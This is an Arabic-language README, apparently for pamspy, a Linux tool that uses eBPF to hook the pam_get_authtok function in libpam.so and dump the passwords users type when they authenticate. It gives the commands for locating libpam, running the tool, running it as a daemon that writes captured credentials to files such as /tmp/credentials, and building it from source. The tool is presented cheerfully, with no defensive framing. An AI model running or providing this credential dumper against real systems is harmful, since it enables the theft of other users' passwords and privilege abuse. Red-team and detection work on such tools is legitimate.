
أداة تفريغ بيانات الاعتماد لأنظمة Linux باستخدام eBPF
يستخدم pamspy تقنيات eBPF لتحقيق عمل مكافئ لأداة 3snake.
سيتتبع دالة معينة في مساحة المستخدم داخل مكتبة PAM (وحدات المصادقة القابلة للتوصيل)، والتي تستخدمها العديد من التطبيقات الحيوية للتعامل مع المصادقة مثل:

pamspy مبني كملف ثنائي ثابت بدون أي تبعيات، وهو متاح على صفحة الإصدارات.
Usage: pamspy [OPTION...]
pamspy
Uses eBPF to dump secrets use by PAM (Authentication) module
By hooking the pam_get_authtok function in libpam.so
USAGE: ./pamspy -p $(/usr/sbin/ldconfig -p | grep libpam.so | cut -d ' ' -f4) -d /var/log/trace.0
-d, --daemon=PATH TO OUTPUT CREDENTIALS
Start pamspy in daemon mode and output in the file
passed as argument
-p, --path=PATH Path to the libpam.so file
-r, --print-headers Print headers of the program
-v, --verbose Verbose mode
-?, --help Give this help list
--usage Give a short usage message
-V, --version Print program version
Mandatory or optional arguments to long options are also mandatory or optional
for any corresponding short options.
Report bugs to .
نظرًا لأن pamspy يعتمد على libpam، يجب علينا تحديد المسار الذي تم تثبيت libpam فيه على توزيعتك. لمعرفة مكان تثبيت libpam، يمكنك تشغيل الأمر التالي:
> /usr/sbin/ldconfig -p | grep libpam.so | cut -d ' ' -f4
/lib/x86_64-linux-gnu/libpam.so.0
بمجرد الحصول على المسار، يمكنك تشغيل pamspy:
> ./pamspy -p /lib/x86_64-linux-gnu/libpam.so.0
طريقة سهلة لتشغيل pamspy هي استخدام الأمر التالي:
> ./pamspy -p $(/usr/sbin/ldconfig -p | grep libpam.so | cut -d ' ' -f4)
يمكن أيضًا تشغيل pamspy كخادم (daemon) عن طريق توفير ملف إخراج حيث ستُكتب بيانات الاعتماد:
./pamspy -p $(/usr/sbin/ldconfig -p | grep libpam.so | cut -d ' ' -f4) -d /tmp/credentials
لبناء الملف الثنائي الثابت، نحتاج إلى برامج خارجية. بالنسبة لـ eBPF نحتاج إلى clang لتجميع كود C إلى كود eBPF CO-RE. نعتمد أيضًا على bpftool لإنشاء هيكل عظمي (skeleton) من برنامج eBPF لتضمينه في برنامج المستخدم لدينا. ثم نحتاج أيضًا إلى libelf للعثور على الرمز الصحيح في libpam.
sudo apt install make clang-11 gcc libelf-dev bpftool
ثم فقط قم بالبناء!
git clone https://github.com/citronneur/pamspy --recursive
cd pamspy/src
make
سيقوم pamspy بتحميل برنامج eBPF لاستدعاء راجع في مساحة المستخدم لربط دالة pam_get_authtok من libpam.so.
PAM تعني "وحدات المصادقة القابلة للتوصيل"، ولها تصميم مرن لإدارة أنواع مختلفة من المصادقة على لينكس.
في كل مرة تحاول فيها عملية مصادقة التحقق من مستخدم جديد، ستستدعي pam_get_authtok، وسيكون pamspy هناك لتفريغ محتوى الأسرار الحرجة!
سهل! استمتع!
شكرًا لـ @blendin على أداة 3snake !!!